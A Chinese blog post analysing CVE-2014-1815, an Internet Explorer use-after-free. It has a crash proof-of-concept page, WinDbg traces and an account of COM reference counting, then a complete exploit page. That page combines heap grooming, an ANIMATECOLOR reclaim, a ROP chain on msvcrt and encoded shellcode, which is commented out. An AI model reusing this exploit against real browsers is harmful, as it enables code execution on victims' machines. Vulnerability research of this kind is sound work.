CVE-2014-1815 漏洞分析

之前一直没有写博客记录的习惯,今天开始要记录一下这些杂乱的知识,以便以后复习和查看

漏洞简介

这个漏洞是很久之前分析的一个 IE 的 UAF ,那个时候的漏洞利用还比较简单,这两年随着各种保护机制的加入和系统安全的不断增强,漏洞利用也变得越来越难。

首先是漏洞的poc,这里的poc并不唯一,在知道了漏洞原理之后便可以自己构造

<!doctype html>
<html>
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>

<script>


function chg()
{
    try{
        marq.replaceNode(document.createTextNode("node"));
        }catch(exception){}
    
    CollectGarbage();
}

function init(){
    document.body.contentEditable="true";
    try{
        a = document.createElement("frameset")
        marq.applyElement(a);
        }catch(exception){}
    try{
        document.selection.createRange().select(); 
        }catch(exception){}
}
</script>
</head>
<body onload=init() onresize=chg()>
<marquee id=marq ></marquee>
                      
</body>
</html>

样本的逻辑非常简单
在 init() 函数中调用创建 frameset 标签对象,并将frameset 对象设置成 marquee 对象的子节点;接着调用 document.selection.createRange().select() 该操作会触发 onresize 事件,在事件响应函数中,将marquee 对象释放。

漏洞分析

  • 在测试环境中打开样本,可以看到程序崩溃在如下位置
0:008> r
eax=07afafa0 ebx=07afafa0 ecx=038fc1d8 edx=00000000 esi=07afafa0 edi=00000000
eip=637d8993 esp=038fc198 ebp=038fc1b8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CElement::GetBoundingRect+0xd:
637d8993 8b5614          mov     edx,dword ptr [esi+14h] ds:0023:07afafb4=????????

根据崩溃点信息初步可判断是一个UAF,使用命令 heap -p -a esi 查看 esi 的释放栈,又可以初步判断是个DOM元素的UAF。

0:008> !heap -p -a 07afafb4
    address 07afafb4 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    753fcc8:          7afa000             2000
    7c947553 ntdll!RtlFreeHeap+0x000000f9
    63625b1d mshtml!CTableCell::`vector deleting destructor'+0x00000022
    63628a50 mshtml!CBase::SubRelease+0x00000022
    63625df6 mshtml!CElement::PrivateExitTree+0x00000011
    636266b2 mshtml!CMarkup::UnloadContents+0x00000381
    63626a3d mshtml!CMarkup::Passivate+0x00000085
    63640d40 mshtml!CEventObj::Release+0x0000000e
    6364113b mshtml!CElement::PrivateRelease+0x00000038
    6363d0ae mshtml!PlainRelease+0x00000025
    63663c03 mshtml!PlainTrackerRelease+0x00000014
    633a10b4 jscript!VAR::Clear+0x0000005c
    6339fb4a jscript!GcContext::Reclaim+0x000000ab
    6339fd33 jscript!GcContext::CollectCore+0x00000113
    63405594 jscript!JsCollectGarbage+0x0000001d
    633a92f7 jscript!NameTbl::InvokeInternal+0x00000137
    633a6650 jscript!VAR::InvokeByDispID+0x0000017c

查看调用栈,可以明显看出程序在执行语句 document.selection.createRange().select() 时触发崩溃。

0:008> k
ChildEBP RetAddr  
038fc1b8 63823b86 mshtml!CElement::GetBoundingRect+0xd
038fc1ec 63823bcc mshtml!CLayout::ScrollElementIntoView+0x14f
038fc210 63944455 mshtml!CLayout::ScrollRectIntoView+0x98
038fc250 63827a0c mshtml!CLayout::ScrollRangeIntoView+0x54
038fc364 63978a3a mshtml!CFlowLayout::ScrollRangeIntoView+0x176
038fc3cc 6397a575 mshtml!CAutoRange::scrollIntoView+0x1cc
038fc3ec 635ebdd1 mshtml!CAutoRange::select+0x4c
  • 在样本中触发崩溃的语句前加入可控断点,再次运行程序
  • 程序暂停在刚才设置的断点位置,在这里打下虚拟机快照
  • 运行,程序再次崩溃,记录下程序崩溃点信息
  • 返回快照,查看此时的 esi 信息,可以看出,该对象是页面元素 marquee 对象
  • 在元素虚表上下写断点,程序会断在该对象释放时(因为只有释放时元素的虚表才会被修改) 根据元素释放时的函数调用栈可以看出该元素在执行 onresize 事件响应函数时被释放,而 onresize 事件则是由 select 操作触发
0:008> k
ChildEBP RetAddr  
038f8d00 63625b08 mshtml!CElement::~CElement+0xb
038f8d0c 63628a50 mshtml!CTableCell::`vector deleting destructor'+0xd
......
038f8e80 6339ffc0 jscript!VAR::Clear+0x5c
038f8ea8 6339fb4a jscript!GcAlloc::ReclaimGarbage+0x91
038f8ec4 6339fd33 jscript!GcContext::Reclaim+0xab
038f8ed8 6339fc28 jscript!GcContext::CollectCore+0x113
038f8eec 63405594 jscript!GcContext::Collect+0x51
038f8ef4 633a8561 jscript!JsCollectGarbage+0x1d
.......
038fc120 636fa0f5 mshtml!COmWindowProxy::Fire_onresize+0x20
038fc128 6361b404 mshtml!CElement::Fire_onresize+0x54
038fc158 6361b2c5 mshtml!CView::ExecuteEventTasks+0x21c
038fc19c 6361bf1a mshtml!CView::EnsureView+0x325
038fc1b8 63823b66 mshtml!CElement::EnsureRecalcNotify+0x17c
038fc1ec 63823bcc mshtml!CLayout::ScrollElementIntoView+0x132  <-Crash There
038fc210 63944455 mshtml!CLayout::ScrollRectIntoView+0x98
038fc250 63827a0c mshtml!CLayout::ScrollRangeIntoView+0x54
038fc364 63978a3a mshtml!CFlowLayout::ScrollRangeIntoView+0x176
038fc3cc 6397a575 mshtml!CAutoRange::scrollIntoView+0x1cc
038fc3ec 635ebdd1 mshtml!CAutoRange::select+0x4c
  • 可以看出对象指针残留在 ebx 寄存器中。调用 CElement::EnsureRecalcNotify 时触发消息将对象释放,从而在函数返回后再次访问对象指针时产生崩溃

详细分析

从对象创建开始分析对象的生命周期,分析对象为什么会在仍存在引用的时候被释放。ie 中的 DOM 对象本质上是一种 COM 的实现,而 COM 组件对象均是使用引用计数来进行生命周期维护的,当引用计数为 0 时对象释放。引用计数储存在 DOM 对象偏移 0x4 位置的对象。

COM 对象的引用计数遵循以下几个规则

  1. 在返回之前调用 AddRef。对于那些返回接口指针的函数,在返回之前应该对相应的指针调用 AddRef。这些函数包括QueryInterface 及 CreateInstance。这样当客户从这种函数得到一个接口后。它将无需调用 AddRef。
  2. 使用完接口之后调用 Release。在使用某个接口之后应该调用这些接口的Release函数。
  3. 在赋值之后调用AddRef.。在将一个接口指针赋给另一个接口指针时,应调用 AddRef。换句话说,在建立接口的另外一个引用之后应增加相应组件的引用计数。

另外为了效率的考虑,引用计数还遵循了以下几个优化规则

  1. 任何在输出参数中或作为返回值返回一个新的接口指针的函数必须对些接口指针调用AddRef
  2. 对传入函数的接口指针,无需调用AddRef和Release,这是因为函数的生命期嵌套在调用者的生命期内。
  3. 对于用输入-输出参数传递进来的接口指针,必须在给它赋另外一个接口指针值之前调用其Release。在函数返回之前,还必须对输出参数中所保存的接口指针调用AddRef。
  4. 对于局部定义的接口指针,由于它们只是在函数的生命其内才存在,因此无需调用AddRef和Release。
  5. 对于保存在全局变量中的接口指针,在将其传递给另外一个函数之前,必须调用其AddRef。

可以看出,在COM 对象引用计数规则的管理下,函数的传入参数以及函数内的临时变量将不会引起引用计数的修改。

回到漏洞这里,CLayout::ScrollElementIntoView 函数以 CMarquee 对象指针为传入参数,执行相关的功能,这里按照 COM 接口的引用计数规则作为 传入参数的 CMarquee 对象可以不必添加引用计数。然而CLayout::ScrollElementIntoView函数却在执行流程中调用了响应函数,并且在事件响应函数中marquee 对象被替换,即在 js 层面无法再访问到marq 对象,那么 ie 的垃圾回收便会将那些无法被访问到的数据当作垃圾进行处理,从而释放了CMarquee。
抽象看来,这次事故的原因可以总结为

pHTML->pSomeNode = new CMarquee():m_ref(1);
......
PDWORD pTmp = pHTML->pSomeNode;       //临时变量不添加引用
CLayout::ScrollElementIntoView(pTmp ,)          // IN 类型参数不添加引用
{
   PDWORD pOld = pHTML->pSomeNode;       // 临时变量不添加引用
   pHTML->pSomeNode = new CTextNode();
   pOld->Release();                                             // CollectGarbage
}
pTmp ???

事实上 IE 内部的引用计数管理并不完全按照 COM 的要求规则来,在具体实现中还有许多引用却没有添加引用计数的情况,其实现上更加混乱。目前还没有理清楚为什么这么混乱却还能在大多数情况下保持正确。

这一部分应该会存在不少的问题,以后还需要修改

漏洞利用

关于 UAF 的利用网上已经有很多实例了,这里就不详细的分析,仅仅贴出代码。这里的利用代码没有使用常规的对象堆喷占位,而是使用了一种特殊的对象 t:ANIMATECOLOR 。该对象内部存储的数据直接是函数地址,比较有意思,可以当作消遣看一下。

<!doctype html>
<HTML XMLNS:t ="urn:schemas-microsoft-com:time">
<head>
<meta http-equiv="Cache-Control" content="no-cache"/>
<meta>
<IMPORT namespace="t" implementation="#default#time2">
</meta>
<script>

function int2escape(a)
 {
   var b = a.toString(16);
   var len = b.length;
   if(len<8)
   {
     for(var i=0;i<(8-len);i++)
     {
       b = '0'+b;
     }
   }
   var result = unescape("%u"+b.substring(4,8)+"%u"+b.substring(0,4));//if the int is 0x00111111...
   return result;
 }
 
 String.prototype.repeat=function(i){return new Array(isNaN(i)?1:++i).join(this);}

         

var msvcrt_base = 0x77be0000;

var xchg_eax_esp = msvcrt_base+0x5ed5;
var call_virtualprotect = msvcrt_base+0x1c0b0;
var pop_ebp_ret = msvcrt_base+0xef31;

var rop="";
var pivot = int2escape(xchg_eax_esp);
var shellcode = unescape("%u33FC%u68C0%u8963%u4FD1%u5168%uA22F%u8B01%u8DF4%uF87E%uDB33%uEC81%u0400%u0000%u6850%u6C65%u3233%u6B68%u7265%u546E%uD233%u8B64%u305A%u4B8B%u8D0C%u1C51%uC28B%u5657%uC933%u148B%u3B0A%u74C2%u8B79%u2072%u7C8D%u0C24%u08B1%u448A%uFE4E%u5C8A%uFF0F%uC9FE%uC33A%uF274%uF980%u75FF%u8BDB%u086A%u5F5E%u60AD%u458B%u8B3C%u054C%u0378%u8BCD%u2059%uDD03%uFF33%u8B47%uBB34%uF503%u0F99%u06BE%uC43A%u0874%uCAC1%u0307%u46D0%uF1EB%u543B%u1C24%uE475%u598B%u0324%u66DD%u3C8B%u8B7B%u1C59%uDD03%u2C03%u95BB%uAB5F%u6157%u633D%uD189%u754F%uEBB5%u5B10%u016A%uFF53%uF857%uFF53%uFC57%uC483%u6120%uE8C3%uFFEB%uFFFF%u6163%u636C%u652e%u6578%u0000%u0000");

var roparray = new Array();
var index_rop = 0;
roparray[index_rop++] = int2escape(pop_ebp_ret);
roparray[index_rop++] = int2escape(0x121211be);
roparray[index_rop++] = int2escape(call_virtualprotect);
roparray[index_rop++] = int2escape(0x12121216);

for(var i = 0; i <roparray.length ; i++)
{
    rop+=roparray[i];
}

animvalues = unescape("%u1414%u1415") // LockWorkstation
 while(animvalues.length < 0x70/2) {
   animvalues += animvalues;
  }
  animvalues += pivot;
  animvalues += rop;
  //animvalues += shellcode;
  while(animvalues.length < 0xDC) {
   animvalues += unescape("%u1414%u1415");
  }
  
  cheat = unescape("%u0001u77be");
  
for(i = 1; i < 0x60/4; i++) {
   animvalues += ";" + cheat;
}

var ll=new Array();
for (i=0;i<333;i++)ll.push(document.createElement("img"));
for(i=0;i<333;i++) ll[i].className=tpx;
for(i=0;i<333;i++) ll[i].className="";

var flag = 0;
function chg()
{
    if(!flag)
    {
        marq.replaceNode(document.createTextNode("xp")); //release
        flag = 1;
    }
    else
    {
    }
    CollectGarbage();
    a=document.getElementById('myanim');
    a.values=animvalues;
}

function init(){
    document.body.contentEditable="true";
    try{
        a = document.createElement("frameset")
        marq.applyElement(a);
        }catch(exception){}
    try{
        document.selection.createRange().select(); 
        }catch(exception){alert('11')}
}
</script>
</head>
<body onload=init() onresize=chg()>
<marquee id=marq ></marquee>
<t:ANIMATECOLOR id="myanim"/>
                      
</body>
</html>
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,099评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,828评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,540评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,848评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,971评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,132评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,193评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,934评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,376评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,687评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,846评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,537评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,175评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,887评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,134评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,674评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,741评论 2 351

推荐阅读更多精彩内容